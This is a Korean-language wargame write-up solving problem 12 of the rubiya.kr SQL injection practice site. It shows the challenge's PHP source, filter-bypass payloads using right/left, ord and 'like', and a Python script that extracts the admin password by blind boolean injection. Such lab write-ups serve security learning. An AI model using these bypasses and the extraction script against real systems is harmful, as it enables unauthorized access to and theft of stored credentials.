rubiya.kr 12번.

http://rubiya.kr/sqli/prob12.php

<?php 
  include "./dbconn.php"; 
  include "./solve.php"; 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob12 where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob12 where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve(); 
  highlight_file(__FILE__); 
?>

addslashes전후로 구분하므로 이것도 마찬가지로 블라인드 인젝션.

pw와 no를 받음. pw는 '를 필터링, no는 ',substr,ascii 필터링.

substr은 right,left로 우회, ascii는 ord로 우회.

http://rubiya.kr/sqli/prob12.php?pw=g&no=0%20||%20ord(right(left(id,1),1))%20like%2097

query : select id from prob12 where id='guest' and pw='g' and no=0 || ord(right(left(id,1),1)) like 97

제대로 나오는걸 확인. 길이를 구해보면.

http://rubiya.kr/sqli/prob12.php?pw=g&no=0%20||%20length(pw)%20like%208

query : select id from prob12 where id='guest' and pw='g' and no=0 || length(pw) like 8

길이 8 확인.

import urllib,urllib2
# -*- coding: euc-kr -*-
answer = ''
for i in range(1,9):
    for j in range(32,127):
        print j
        req = urllib2.Request('http://rubiya.kr/sqli/prob12.php?pw=g&no=0%20||%20ord(right(left(pw,'+str(i)+'),1))%20like%20'+str(j)+'%20and%20id%20like%20char(97,100,109,105,110)') 
        res = urllib2.urlopen(req) 
        if res.read().find('Hello admin') != -1:
            print i,':',chr(j)
            answer += chr(j)
            break
print answer